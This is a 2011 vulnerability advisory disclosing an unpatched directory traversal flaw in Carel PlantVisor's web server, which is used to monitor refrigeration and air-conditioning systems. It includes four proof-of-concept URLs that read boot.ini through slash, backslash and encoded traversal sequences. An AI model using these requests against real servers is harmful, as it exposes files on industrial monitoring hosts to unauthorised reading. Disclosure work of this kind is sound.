1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
####################################################################### Luigi Auriemma Application:Carel PlantVisor http://www.carel.com/carelcom/web/eng/catalogo/prodotto_dett.jsp?id_prodotto=310 Versions: <= 2.4.4 Platforms:Windows Bug:directory traversal Exploitation: remote Date: 13 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web:aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's homepage: "PlantVisor Enhanced is monitoring and telemaintenance software for refrigeration and air-conditioning systems controlled by CAREL instruments." ####################################################################### ====== 2) Bug ====== CarelDataServer.exe is a web server listening on port 80. The software is affected by a directory traversal vulnerability that allows to download the files located on the disk where it's installed. Both slash and backslash and their HTTP encoded values are supported. ####################################################################### =========== 3) The Code =========== http://SERVER/..\..\..\..\..\..\boot.ini http://SERVER/../../../../../../boot.ini http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini http://SERVER/..%2f..%2f..%2f..%2f..%2f..%2fboot.ini ####################################################################### ====== 4) Fix ====== No fix. ####################################################################### |